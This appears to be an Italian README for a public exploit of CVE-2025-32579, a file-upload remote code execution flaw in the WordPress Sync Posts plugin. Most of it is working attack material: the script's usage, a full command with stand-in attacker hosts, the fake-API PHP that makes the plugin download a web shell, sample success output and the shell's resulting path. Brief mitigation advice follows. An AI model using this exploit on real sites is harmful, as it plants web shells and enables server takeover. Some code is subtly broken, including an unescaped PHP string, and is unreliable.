⚠️ CVE-2025-32579 - RCE Critica tramite il Plugin Sync Posts (WordPress)

📦 Interessa: Sync Posts <= 1.0
🧨 Punteggio CVSS: 9.9 CRITICA
📁 Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

🧠 Panoramica della Vulnerabilità

Il plugin WordPress Sync Posts di SoftClever Limited è vulnerabile a una vulnerabilità di Upload di File Non Restretto che permette a attaccanti autenticati di caricare ed eseguire file PHP arbitrari (come web shell) sul server.

🔓 Causa Principale:

• Il plugin accetta un website_url che restituisce post JSON.
• Recupera ciecamente le immagini dai contenuti dei post senza validazione.
• Nessuna restrizione sul tipo di file, mime-type o percorso viene applicata.
• Tutte le immagini (anche file PHP) vengono scaricate e salvate in wp-content/uploads.

🚨 Perché è Pericoloso

• ✅ Esecuzione di Codice Remoto (RCE)
• ✅ Carica web shell direttamente sul server
• ✅ Richiede privilegi minimi (solo utente autenticato)

⚙️ Descrizione dello Script (Exploit)

Lo script di exploit automatizza l'intera catena:

1. 📥 Effettua il login in WordPress usando le credenziali fornite
2. 🧠 Genera un falso API PHP che restituisce un post JSON con una shell come <img src="https://raw.githubusercontent.com/nxploited/cve-2025-32579/HEAD/...">
3. 📡 Invia un website_url malevolo a admin-ajax.php?action=sync_posts
4. 💣 Forza il plugin a recuperare e salvare la shell in /uploads/
5. ✅ Non necessita di Referer o nonce — il cookie di sessione è sufficiente

usage: CVE-2025-32579.py [-h] -u URL -un USERNAME -p PASSWORD -ws WEBSITE -shell WEBSHELL

Exploit For CVE-2025-32579 Sync Posts # By: Nxploited ( Khaled Alenazi )

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target WordPress URL (e.g., http://target.com/wordpress)
  -un, --username USERNAME
                        Username to login
  -p, --password PASSWORD
                        Password to login
  -ws, --website WEBSITE
                        URL to fake API (e.g., http://attacker.com/Khaled_alenazi.php)
  -shell, --webshell WEBSHELL
                        Web shell URL used inside the fake API (can be a test image)
                                                                                       

💻 Istruzioni per l'Uso

📌 Formato del Comando:

python3 CVE-2025-32579.py -u http://target/wordpress -un admin -p pass123 -ws http://attacker.com/Khaled_alenazi.php -shell http://attacker.com/shell.php

⚙️ Argomenti:

Puoi anche usare un'immagine fittizia al posto di una shell reale per test:

--webshell https://via.placeholder.com/1x1.jpg

🧪 Esempio di Output Falso API

Questa è la risposta restituita da Khaled_alenazi.php:

<?php
header('Content-Type: application/json');
echo json_encode([
  [
    "id" => 1,
    "title" => ["rendered" => "Nxploited"],
    "content" => [
      "rendered" => "<img src="http://attacker.com/shell.php">"
    ]
  ]
]);
?>

✅ Exploit Riuscito:

[*] Attempting login...
[+] Logged in successfully.
[+] Generated fake API PHP file: Khaled_alenazi.php
[+] Sending exploit request to: http://target.com/wordpress
[+] Request sent successfully.
{
  "success": true,
  "data": {
    "message": "Posts imported successfully",
    ...
  }
}

🔥 Dopo lo sfruttamento riuscito:

• Percorso e Nome della Shell: shell.php
• target.com/wp-content/uploads/2025/04/shell.php

🛠️ Correzione / Mitigazione

• Limitare l'accesso a website_url a domini interni o host autorizzati
• Validare le estensioni delle immagini e i tipi di contenuto
• Evitare di analizzare JSON di terze parti senza sanificazione

🧷 Riferimento

CVE: CVE-2025-32579
Exploit di Nxploited (Khaled Alenazi)